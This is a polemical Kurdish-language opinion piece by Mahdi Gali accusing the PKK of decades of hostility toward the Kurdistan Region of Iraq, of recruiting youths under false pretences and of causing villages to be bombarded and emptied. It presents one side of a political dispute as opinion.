تركیا چاوا ل سهر كوردان دئاخڤن؟.. مهدیت ل 16 ئۆكتۆبهرا 2017 پاسدارێن ئێران و لهشكر ێ ئیراقێ و میلشیاتیێن سهر ب ئیرانێ ڤه چاوا هێرش كرنه سهر ههرێما كوردستانێ!، مه دیت ههرسێ وهلاتێن ههڤسوى سنوورێن خوه گرتن و دوژمنایهتیا خوه ل ههمبهر گهلێ كورد دیاركرن؟. پرسیار ل ڤێرێ ئهوه ئهرێ باشه خێره ناڤمالا كوردی نهبیته ئێك؟.. باشه بۆچی گڕۆپێن خیانهتكار بهرگریێ ژ ئهجیندهیێن ئێران دكهن؟ ژ لایكێ دیڤه خێره پهكهكه ل شوونا شهڕ د ناڤ ئاخا توركیا دا بكهت و شهڕێ خوه ڤهگوهاستیه باشۆرێ كوردسانێ دا كو شهڕێ سهختترین دووژمنێن خوه بكهت بلا خیانهت بهس بیت و دهستێن خوه بكهنه د ناڤ دهستێن ئێكودو، ڤێجا بلا دونیا ههمی ببنه دوژمن كا بزانین دێ شێنه مللهتێ كورد؟
پهكهكێ چ ژ كوردستانا باشۆر دڤێت؟!.
مههدى گلى
پارتا كرێكان دبێژیت كو ئهم دێ ههر چار پارچێن كوردستان ئازاد دكهین ژ بن زولم و زۆرداریێ!. نهخێر هوون نهشێن ئازاد بكهن، چونكو ئهڤه سهرێ بیست و نهه ساڵانه هوون شهڕێ ههرێما كوردستانا باشۆر دكهن چهندین كوڕێن باشۆر ل سهر دهستێن ههوه هاتنه تیرۆركرن، خاپاندن و ب سهردابرن و ڕهڤاندنا سنێلان.
پهكهكێ چهندین سنێله ژ ههردو رهگهزان، ژلایێ رێخستنێن وانڤه هاتینه خاپاندن ب ههجهتا برنا وانا ژبۆ وهلاتیێن ئۆڕۆپی، لێ ل دووماهیێ دبهنه ناڤ چیایان و دكهنه چهكدارێن خوه!. دیسا سۆتن و چۆلكرنا گوندان، چهندین گوند وباژار و چكه دهولهت سهرێ ههوه كهتنه دبن تۆپبارانكرن و د ئهنجامدا هاتنه چۆلكرن و ڕۆژانه دهخلودان و بهرههمێن چاندنێ یێن جۆتیاران دهێنه سۆتن.
یانژى پتری سهی و نهه گوند هاتنه خاپۆركرن ژ لایێ فرۆكه و لهشكرێ توركیا د ئهگهرا شهڕی دا. هوون بووینه رێگر ل بهرامبهر ئاڤهدانكرنا گوندان و ناهێلن خزمهتگوزاری ژ لایێ حوكمهتا ههرێما كوردستانێ ڤه بهردهوام بیت، چونكو بووینه مهزنترین كۆسپ د گههاندنا خزمهتان و سهرهرای هندێ و ژ یا ههمی سهیر و سهمهرتر ژی گۆمركی ژ خهلكێ گوندان وهردگرن!.
ئهرێ خێره سهرجهم راگههاندنێن PKK ب بهروامى دژاتیا حوكمهتا ههرێما كوردستانێ دكهت؟! و ژبلی وێ چهندێ ژی شیایه باشترین خزمهت بگههینته دوژمنى و ب ههمی ئهزمانهكێ دخوینن ئهو خواندنا وانژی، تنێ دهنگێ خۆفرۆشیێ و جاشایهتیێ یه! ئهڤاههنێ ل بهرامبهر چ و ژبهر چ و بۆچی ئهڤێ ههمى دوژمنایهتی ل گهل حوكمهتێ دكهن، یێ كو ب خوینا ههڤوهلاتی یێن باشۆر هاتیه د ئارا دا؟ ههر ژ ساڵا (١٩٩٢) ههیڤا شهش پهكهكه دژایهتیا كوردستانا باشۆر دكهت!..چ پێ نهڤێت ئاسانكارى ژی ژ لایێ بازرگان یێن شهڕی یێ توركیا و حوكمهتا ئیرانێ بۆ وانا بهردهوام دكهت وهك، ئازۆقه، جلوبهرگ، چهكێن قورس سڤك، دووماهی بۆچوونا من ئهوه كو بێژم، ههكه پهكهكه بهردهوام بیت ل سهر وان ڕهفتارێن خوه یێن دوژمنكارانه ل ههمبهر حوكمهتێ و خهلكێن باشۆر، دێ زیانهكا گهلهك مهزن دگههینته خوه و باشۆرێ كوردستانێ.
WP Facebook Auto Publish Powered By : XYZScripts.com